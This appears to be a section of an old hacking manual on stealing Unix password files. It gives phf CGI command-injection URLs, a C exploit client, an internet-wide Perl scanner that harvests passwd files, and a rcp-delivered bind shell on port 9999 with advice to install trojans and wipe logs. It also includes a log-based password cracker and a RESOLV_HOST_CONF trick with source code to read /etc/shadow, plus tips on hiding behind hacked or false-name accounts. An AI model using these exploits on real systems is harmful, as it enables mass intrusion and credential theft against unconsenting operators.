Getting passwd files 

Topics:
PHF WWW PH Query
New QG Phf Attack MO
Newbe's
Getting Shadow passwd Files
Getting /etc/hosts

Here are some ways to get password files from unix systems.  Most of them
you will need an account, but there is still a way to access to the system
without having an account.  Here you will learn the difference between a
regular passwd file and a shadowed passwd file.  You will also learn a way
to read the shadowed password file.


PHF WWW PH Query 


There is a program in the WWW cgi-bin directory called phf, if the file
is there, and has permission x, you can access it by using the www, or
a text version browser in linux called lynx.  Now you can read files on the
system (yup .. /etc/passwd) and save them to files local in your computer.

There are many things we can get done here.  If the server is running their
httpd server as root owner, we can be root by using phf and even change an
account password on the machine.

I will include a perl script here that will auto check all of the systems out
there by using the getdomain.pl script above and check what the server is
running under.  If it is running under root, it will just log the id, if the
server is not running under root, it will auto get the passwd file from the
/etc directory and name it domainname.???.passwd.

I will also attach a script that will allow you to use a simple command from
a shell and if phf is on the system allow you to pipe commands from the shell
to the remote system with one command line.

Ok now that you know what is coming, lets teach you how to use phf.

Use your favorite web browser, or the text version in unix called most of
the time lynx, on some systems www.

After the screen comes up type the letter g, now a line appears like below:

URL to open:
  Arrow keys: Up and Down to move. Right to follow a link; Left to go back.
  H)elp O)ptions P)rint G)o M)ain screen Q)uit /=search [delete]=history list

You type:

URL to open: http://xxx.org/cgi-bin/phf/?Qalias=x%0aid
  Arrow keys: Up and Down to move. Right to follow a link; Left to go back.
  H)elp O)ptions P)rint G)o M)ain screen Q)uit /=search [delete]=history list

It returns:

                                 QUERY RESULTS



   /usr/local/bin/ph -m alias=x id

uid=65534(nobody) gid=65535(nogroup) groups=65535(nogroup)


So here we see it is running under a user (nobody), so we can be a user named
nobody on this system.  We are not root, but this will have to do ;)

Notice the command line:

http://afp.org/cgi-bin/phf/?Qalias=x%0aid

The id was the command to the server to give us the id of the user.  Some times
you will have to give the full path to the file you want to run, in this case
it would have been: http://afp.org/cgi-bin/phf/?Qalias=x%0a/usr/bin/id

Notice that after the %0a you start your command line.  If you need to enter
a space you would put a %20 instead of the space.  Here would be some sample
command lines. I will start them with %0a

Cat the passwd file
%0a/bin/cat%20/etc/passwd

Get a long directory of the /etc directory of all files starting with pass
%0als%20-al%20/etc/pass*

backup the passwd file if you have root access to httpd to passwd.my
%0acp%20/etc/passwd%20/etc/passwd.my

Change the root passwd (if the server will let you (most times it works)
%0apasswd%20root

(the above should let you login without a password, make sure to copy the
passwd.my file over the passwd file right away, and then delete the backup,
then make yourself an suid bash shell somewhere and rename it, sniff to get
your passwords)

If you know how to type commands in unix and don't forget that you need to
use %20 in the place of spaces, you will not have any problems!

Ok lets cat the passwd file on this box ;)

URL to open: http://xxx.org/cgi-bin/phf/?Qalias=x%0acat%20/etc/passwd

We get:


                                 QUERY RESULTS



   /usr/local/bin/ph -m alias=x cat /etc/passwd

root:R0rmc6lxVwi5I:0:0:root:/root:/bin/bash
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/sbin:
adm:*:3:4:adm:/var/adm:
lp:*:4:7:lp:/var/spool/lpd:
sync:*:5:0:sync:/sbin:/bin/sync
shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown
halt:*:7:0:halt:/sbin:/sbin/halt
mail:*:8:12:mail:/var/spool/mail:
news:*:9:13:news:/usr/lib/news:
uucp:*:10:14:uucp:/var/spool/uucppublic:
operator:*:11:0:operator:/root:/bin/bash
games:*:12:100:games:/usr/games:
man:*:13:15:man:/usr/man:
postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash
nobody:*:-2:100:nobody:/dev/null:
ftp:*:404:1::/home/ftp:/bin/bash
guest:*:405:100:guest:/dev/null:/dev/null
bhilton:LkjLiWy08xIWY:501:100:Bob Hilton:/home/bhilton:/bin/bash
web:Kn0d4HJPfRSoM:502:100:Web Master:/home/web:/bin/bash
mary:EauDLA/PT/HQg:503:100:Mary C. Hilton:/home/mary:/bin/bash

A small passwd file <g>rin

If you want to save this to a file in your local directory, just choose the
print option in the text browser and you will get an option to save the file
in your home directory.

Lets learn something here:

mary:EauDLA/PT/HQg:503:100:Mary C. Hilton:/home/mary:/bin/bash
1   :2            :3  :4  :5             :6         :7

1=username 2=encrypted password 3=user number 4=groop id 5=real name
6=home directory 7=shell

Ok, lets say you do not want to keep using the WWW browser, here is a script
you can compile to just type regular commands from your shell.

phf.c
------ cut here----

/* Some small changes for efficiency by snocrash. */
/*
 * cgi-bin phf exploit by loxsmith [xf]
 *
 * I wrote this in C because not every system is going to have lynx.  Also,
 * this saves the time it usually takes to remember the syntatical format
 * of the exploit.  Because of the host lookup mess, this will take
 * approximately 12 seconds to execute with average network load.  Be patient.
 *
 */

#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <errno.h>

int main(argc, argv)
     int argc;
     char **argv;
{
     int i = 0, s, port, bytes = 128;
     char exploit[0xff], buffer[128], hostname[256], *command, j[2];
     struct sockaddr_in sin;
     struct hostent *he;

     if (argc != 3 && argc != 4) {
          fprintf(stderr, "Usage: %s command hostname [port]", argv[0]);
          exit(1);
     }

     command = (char *)malloc(strlen(argv[1]) * 2);

     while (argv[1][i] != '\0') {
          if (argv[1][i] == 32) strcat(command, "%20"); else {
               sprintf(j, "%c", argv[1][i]);
               strcat(command, j);
          }
          ++i;
     }

     strcpy(hostname, argv[2]);
     if (argc == 4) port = atoi(argv[3]); else port = 80;

     if (sin.sin_addr.s_addr = inet_addr(hostname) == -1) {
          he = gethostbyname(hostname);
   if (he) {
               sin.sin_family = he->h_addrtype;
               memcpy((caddr_t) &sin.sin_addr, he->h_addr_list[0],
                      he->h_length);
          } else {
               fprintf(stderr, "%s: unknown host %s\n", argv[0], hostname);
               exit(1);
          }
     }
     sin.sin_family = AF_INET;
     sin.sin_port = htons((u_short) port);

     if ((s = socket(sin.sin_family, SOCK_STREAM, 0)) < 0) {
          fprintf(stderr, "%s: could not get socket\n", argv[0]);
          exit(1);
     }

     if (connect(s, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
          close(s);
          fprintf(stderr, "%s: could not establish connection\n", argv[0]);
          exit(1);
     }

     sprintf(exploit, "GET /cgi-bin/phf/?Qalias=X%%0a%s\n", command);
     free(command);
     write(s, exploit, strlen(exploit));
     while(bytes == 128) {
          bytes = read(s, buffer, 128);
          fprintf(stdout, buffer);
     }
     close(s);
}

-------- cut here

Here is how you use it:

bash% phf id xxx.org

------
<H1>Query Results</H1>
<P>
/usr/local/bin/ph -m  alias=X
id
<PRE>
uid=65534(nobody) gid=65535(nogroup) groups=65535(nogroup)
</GET /cgi-bin/phf/?Qalias=X%0aid
------

The above was our response, remember to use the %codes after your command.
To cat the password file using this program you would type:

phf cat%20/etc/passwd hostname.xxx

Yet Another way to use phf was written by Quantumg on his web page, this is
new and just thought of, so I was sure to add this right into this manual
for you.

Here is the text:


New QG Phf Attack MO 


yerp.. I know it's a long time since phf has been considered a viable
attack but you'd be surprised just how many stupid linux operators there
are out there..

first.. a little background.

Phf is a cgi-bin executable found on apache web servers.  It is sploitable
and the result is you can execute commands on the web server as whoever
they're running httpd as, usually nobody but sometimes as root.  To sploit
it is simply a matter of connecting to the web server and giving the
query:

  GET /cgi-bin/phf/?Qalias=X%0a

followed by the command you wish to execute with %20 used for spaces.  You
can do no piping, quotes, shell replacements, etc.

ok.. so on with the attack.  What we are going to do is go and look for a
linux box (I usually telnet to the box to see the issue.net) which has the
phf bug.  I, like a whole lot of other people, use the program phf
loxsmith to exploit the phf bug.  All it does is connect to the host
specified in argv[2] and dump the query with argv[1] as the command.  It
is used as such:

 phf id www.host.to.hack

where id is the command you want to execute.  This is the first thing I'd
do.  Not only does it tell me if the box is sploitable, it also tells me
what they are running httpd as.  So, assuming we get back a nice response,
we have a box to hack.  The first problem is getting stuff onto the box to
execute.  It's not much of a problem.  You can 1 check for writable ftp
directory's or 2, and my personal favorite, use rcp.  To use rcp you need
to set up a few things on your machine (or better yet, a machine that you
hacked earlier).  The first of these things is an account that you can use
for the transfer.  Select something simple and unmemoriable.  I use the
username "test".  Next you need to put the name of the host you are
hacking (www.host.to.hack) in your /etc/hosts.equiv.  Then you need to
make sure you have a "shell" line in your /etc/inetd.conf and that you
have restarted inetd to read this line.  Finally you need to create a
.rhosts file in the test's homedir that has the name of the host you're
hacking followed by the username that httpd is running as.

/etc/hosts.equiv:
www.host.to.hack

/etc/inetd.conf:
shell   stream  tcp     nowait  root    /usr/sbin/tcpd  in.rshd -L

~test/.rhosts:
www.host.to.hack nobody

ok.. so once you have all that set up you can get things onto the remote
host.

What I used to do was transfer little hacks across that had been heavily
modified to work whilst being executed by phf.  It was not a pleasant
affair, nor very effective.  Now we have a solution.  What we send across
is a modified in.telnetd.  It has been modified to start up in "debug"
mode which makes it bind to a port (9999) and execute /bin/sh instead of
/bin/login.  It also forks before executing the shell which means it will
sit on port 9999 and accept as many connections as you want.

So, to get this onto the remote host, all we have to do is put it in
test's homedir (make sure it's readable) and do:

  phf 'rcp test@my.ip.address:bindwarez /tmp' www.host.to.hack

in your local logs you will see a connection attempt to in.rshd and the
command it executes (something like 'rcp -f bindwarez').. after the phf
finishes bindwarez will be in the /tmp on the remote machine.  You can now
execute it and telnet to port 9999.

If the web site was stupid enough to be running httpd as root you will now
want to secure it by installing an in.telnetd trojan and cleaning up the
logs.  However, more likely, you will only have a nobody shell and have to
hack root with some other sploit.  I usually find this no problem because
the admin has taken it as granted that no-one will ever have a shell on
their www box and thus there's no need to secure it - which they're
obviously not very good at if they still have sploitable phf.

I cant stress the importance of cleaning out the logs tho.  Your address,
the one in the rcp command you sent, is right there for the admin to see.
They dont even have to dig.  These logs are usually in
/usr/local/etc/httpd/logs and sometimes in /var/lib/httpd/logs.  The best
way to find it is to try these locations and then, if you still don't find
it, do: find / -name cgi-bin.  That'll do it.  Also don't forget to kill
the bindwarez processes and remove the /tmp/bindwarez.

This is a really kewl attack.. it solves a lot of problems which makes phf
so annoying.

L8s

QuantumG


Another way to use phf would be to use the perl script a few scripts above
called getdomain.pl to rip host names out of the domain files on
rs.internic.net, after this is done you can 'probe' every domain on the net
using geturl.pl.

Here is the script:

geturl.pl
--------- cut here

#!/usr/bin/perl -w
#
# geturl by Nfin8 / Invisible Evil
# Questions to: /msg i-e  or  /msg i^e
#
# Format of http://website.dom/cgi-bin/phf?Qalias=x%0a/usr/bin/id
# Format of http://website.dom/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
# IF result of first command returns an "id=" then check for user. If user
# is not root then execute the 2nd form.

# Assign null list to @URLs which will be added to later.
my(@URLs)=();
my($program) = "lynx -dump";

# Pull off filename from commandline. If it isn't defined, then assign default.
my($URLfilename) = shift;
$URLfilename = "urls" if !defined($URLfilename);

# Do checking on input.
die("GetURL: $URLfilename is a directory.\n") if (-d $URLfilename);
 
# Open and read contents of URL file into @URL by line.
open(FILE, $URLfilename) or die("GetURL: Cannot open $URLfilename for input.\n");
@URLs = <FILE>;
close(FILE);

# Open output file.
open(OUTFILE, ">>GetURLResults") or die("GetURL: Cannot open output file.\n");

my($url)="";
foreach $url (@URLs) {
  print ("Now checking: $url");
  chomp($url);
  $result = `$program http://${url}/cgi-bin/phf?Qalias=x%0a/usr/bin/id`;
  print OUTFILE ("\n============ $url ============\n");
  foreach (split(/\n/, $result)) {
    print OUTFILE ("$_\n");
  }
  if ($result =~ m/id=/i) {
    if ($result =~ m/root/i) {
      print ("Logging root response.\n");
    } else {
      print ("Got ID response, getting /etc/passwd...");
      $result = `$program http://${url}/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd`;
 
      # Output results to file named <domain>.passwd;
      local($domainfilename)="";
      $domainfilename = $url;
      if (open(PASSWDFILE, ">${domainfilename}.passwd")) {
        print PASSWDFILE ("\n");
        foreach (split(/\n/, $result)) {
          print PASSWDFILE ("$_\n");
        }
        close(PASSWDFILE);
        print ("Done! [$domainfilename].\n");
      } else {
        print ("FAILED! [$domainfilename].\n");
      }
    }
  }
}
 
# We are done. Close the output file and end the program.
close (OUTFILE);


0;

------------- cut here

Ok this is easy, if you name your domain file urls, you are all set to go.
Just type geturl.pl after chmod +x on the file.

Here are my doc's for the file:

This handy tool is easy to use and will get you some root access and
many passwd files from different domains.

geturl.pl will try and log results for every domain on the internet.  You
choose the type: .COM .EDU .ORG .MIL .GOV  (OR) you can supply a list of
IP addresses to  be checked.  If  finds a root access account it
will simply log uid=root in the result file and go on to the next domain.
If PHF Probe finds non-root access it will snag the passwd file for you and
save it in the current directory in the (domainname.???.passwd) format.

Here are the short doc's and how it works.  Any questions /msg i-e or i^e

ftp to ftp.rs.internic.net

in the domain directory you will find:

com.zone.gz
edu.zone.gz
gov.zone.gz
mil.zone.gz
net.zone.gz
org.zone.gz

download these files and run getdomain.pl on the domains you want to target
first, in this manor:  "perl getdomain.pl com.zone com >com.all"

What this will do is rip all of the .COM domains and put them into a file
called com.all.

If you wanted to do all of the .EDU addresses you would type:

perl getdomain.pl edu.zone edu >edu.all

Now you will have a list to use with (geturl.pl) called edu.all

To use this list just type:

geturl.pl <filename>

filename=edu.all or com.all  and leave out the <>'s
if you name your domain file 'urls' it does not require <filename>

results will log into a file name of: GetURLResults in the current directory.

1. geturl.pl will search using lynx (make sure it is in your path)

2. if geturl finds it has root access to httpd on a url it will just log
   root for that domain in the result file.  If geturl finds it is not root,
   but still has access to the domain using phf it will snatch the domain
   passwd file and save it in the current directory under fulldomainname.passwd

3. if you like you can just give a list of ip addresses in the feed file

4. i use os/2 with lynx and perl ported to the hpfs so i have no problems
   with the long file names.  i have tested it under unix and it works good
   so you should have no problems running this in a unix shell.

What you need:

1. Perl in the path
2. Lynx in the path
3. 256 char filenames ie: (unix or os/2 hpfs)
4. The files included here
5. Internic's domain files from their ftp or just make your own list or
   urls or IP's and name the file 'urls' and type: geturl.pl

Caution:

It would be best if you paid cash for an internet account in your area under
another name or used a hacked account to get all of your results, then used
another safe account to start your work on the results.  BUT I don't need to
tell you this right?  I take no blame for these files, they are provided for
you to use to check security on domains ;)


 getdomain.pl: to rip .ORG .COM .EDU .MIL .GOV Internic domain files
    geturl.pl: to check and log the results of each domain
GetURLResults: The file that geturl makes as its log file

Here is one more thought:

If you can read the /var/adm/messages file you can get some user passwords
out of there lotz of times!  I have even got ROOT passwords from there!

Wow many times have you been in a hurry to login?  You type the password
at the Login:  his is easy to do on one of those days that nothing seems to
be going right.  You failed the login twice, the system is running slow, and it
just happens!

Login: you hit enter
Password: you think this is wanting the login name so you type your name
Login: you type your password

In the messages file it looks like this:

Login: yourpassword
Password ****** They don't give it, only the login name, but ooops, you
typed your password, and if we have access to read the messages file,
we have a good password to put in crackerjack and run it.  If on a small
system, no prob ... lets hope it's root ;)

Here is a script to make things easy!


FOR QUANTUM'S BINDWAREZ FILE: You will find it at the end of this paper
in the appendix uuencoded.

------------ cut here

#!/bin/sh
# Under a lot of linux distributions(I know Redhat 3.0.3 and Slackware 3.0)
# /var/log/messages is world readable. If a user types in his password at
# the login prompt, it may get logged to /var/log/messages.
#
# I could swear this topic has been beaten to death, but I still see this
# problem on every linux box I have access to.
#
# Dave G.
# 12/06/96
# <daveg@escape.com>
# http://www.escape.com/~daveg

echo Creating Dictionary from /var/log/messages, stored in /tmp/messages.dict.$$

grep "LOGIN FAILURE" /var/log/messages | cut -d',' -f2 | cut -c2- | sort | uniq >> /tmp/messages.dict.$$

if [ ! -e ./scrack ]
then
   echo "Creating scrack.c"
   cat << ! > scrack.c
#include <stdio.h>
#include <unistd.h>
#include <pwd.h>
#include <sys/types.h>
#define get_salt( d, s ) strncpy( d, s, 2 )
void
main(argc,argv)
int argc;
char **argv;
{
   struct passwd *pwd;
   FILE *fp;
   char buff[80], salt[3], *encrypted_string;

   if ( ( fp = fopen( argv[1], "r" ) ) == NULL )
   {
      fprintf( stderr, "Couldnt find dict file\n" );
      exit(1);
   }
   while ( fgets( buff, 80, fp ) != NULL )
   {
      setpwent();
      buff[strlen(buff)-1]='\0';
      while ( ( pwd = getpwent() ) != NULL )
      {
        if ( strcmp( (*pwd).pw_passwd, "*" ) != 0 &&
           ( strlen( (*pwd).pw_passwd ) == 13 ) )
        {
           get_salt(salt, (*pwd).pw_passwd );

           encrypted_string = crypt( buff, salt );
           if ( strcmp( encrypted_string, (*pwd).pw_passwd ) == 0 )
           {
             fprintf( stdout, "l: %s p: %s\n", (*pwd).pw_name, buff);
             fflush(stdout);
           }
         }
      }
   }
}
!
   echo "Creating scrack"
   cc -O6 -fomit-frame-pointer -s -o scrack scrack.c
fi

./scrack /tmp/messages.dict.$$

echo /tmp/messages.dict.$$, ./scrack, and ./scrack.c still exist, delete them yourself.

------ cut here


Newbe's 

Yup, again, just another place to get password files.  Just follow the guide
lines in section 2.  Use your sly ideas and get out there and make some
lame friends ;)

Remember you could have been a lammer before you read this manual <G>rin

-----------------------------

Getting Shadow passwd Files 


What is a shadow password file?

Lets just use the passwd file above to show you what it would look like to you
if you cat it.

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
adm:x:3:4:adm:/var/adm:
lp:x:4:7:lp:/var/spool/lpd:
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:
news:x:9:13:news:/usr/lib/news:
uucp:x:10:14:uucp:/var/spool/uucppublic:
operator:x:11:0:operator:/root:/bin/bash
games:x:12:100:games:/usr/games:
man:x:13:15:man:/usr/man:
postmaster:x:14:12:postmaster:/var/spool/mail:/bin/bash
nobody:x:-2:100:nobody:/dev/null:
ftp:x:404:1::/home/ftp:/bin/bash
guest:x:405:100:guest:/dev/null:/dev/null
bhilton:x:501:100:Bob Hilton:/home/bhilton:/bin/bash
web:x:502:100:Web Master:/home/web:/bin/bash
mary:x:503:100:Mary C. Hilton:/home/mary:/bin/bash

Something missing?  Yup, the encrypted passwords.  If you get root access the
encrypted passwords are in /etc/shadow.  Some admin's will hide the shadow file
in some weird directory somewhere, but most of the time you will find it right
in /etc.  Other shadow programs might put it in a master.passwd file.  But if
you get root just have a good look around.

Lets say you have an account on the machine and just can't get root access.

Not a problem if they are using libc 5.4.7, at this time most still are ;)
Also one of these files have to have suid perm's (no prob):

ping, traceroute, rlogin, or, ssh

1. Type bash or sh to start a bash shell
2. Type: export RESOLV_HOST_CONF=/etc/shadow
3. Type one of the file names above with asdf, like this:

ping asdf

It should cat the passwd shadow file for you if it works.
I seem to find it working on most of the systems i am going on these days.

Note: you can replace /etc/shadow with any root owned file you want to read.

Here is a quick script you can run on any file you want to make it easy:

rcb.c
-------- cut here

/* RCB Phraser - therapy in '96
 * Limits: Linux only, no binary files.
 * little personal message to the world: FUCK CENSORSHIP!
 */

#include <stdio.h>

void getjunk(const char *filetocat)
{ setenv("RESOLV_HOST_CONF",filetocat,1);
  system("ping xy 1> /dev/null 2> phrasing");
  unsetenv("RESOLV_HOST_CONF");
}

void main(argc,argv)
int argc; char **argv;
{ char buffer[200];
  char *gag;
  FILE *devel;
 
  if((argc==1) || !(strcmp(argv[1],"-h")) || !(strcmp(argv[1],"--help")))
  { printf("RCB Phraser - junked by THERAPY\n\n");
    printf("Usage: %s [NO OPTIONS] [FILE to cat]\n\n",argv[0]);
    exit(1);
  }
  getjunk(argv[1]);
  gag=buffer;
  gag+=10;
  devel=fopen("phrasing","rb");
  while(!feof(devel))
  { fgets(buffer,sizeof(buffer),devel);
    if(strlen(buffer)>24)
    { strcpy(buffer+strlen(buffer)-24,"\n");
      fputs(gag,stdout);
    }
  }
  fclose(devel);
  remove("phrasing");
}

-------------- cut here

command line : rcb /etc/shadow  or any other file on the system you
can't read ;)


Getting /etc/hosts 


Just a precaution, sometimes you will need to know what other systems
are in the hosts file, or what are all of the ip addresses or different domains
on the system.  Make sure to cat the /etc/hosts file for more information
you might need later.
Back to Index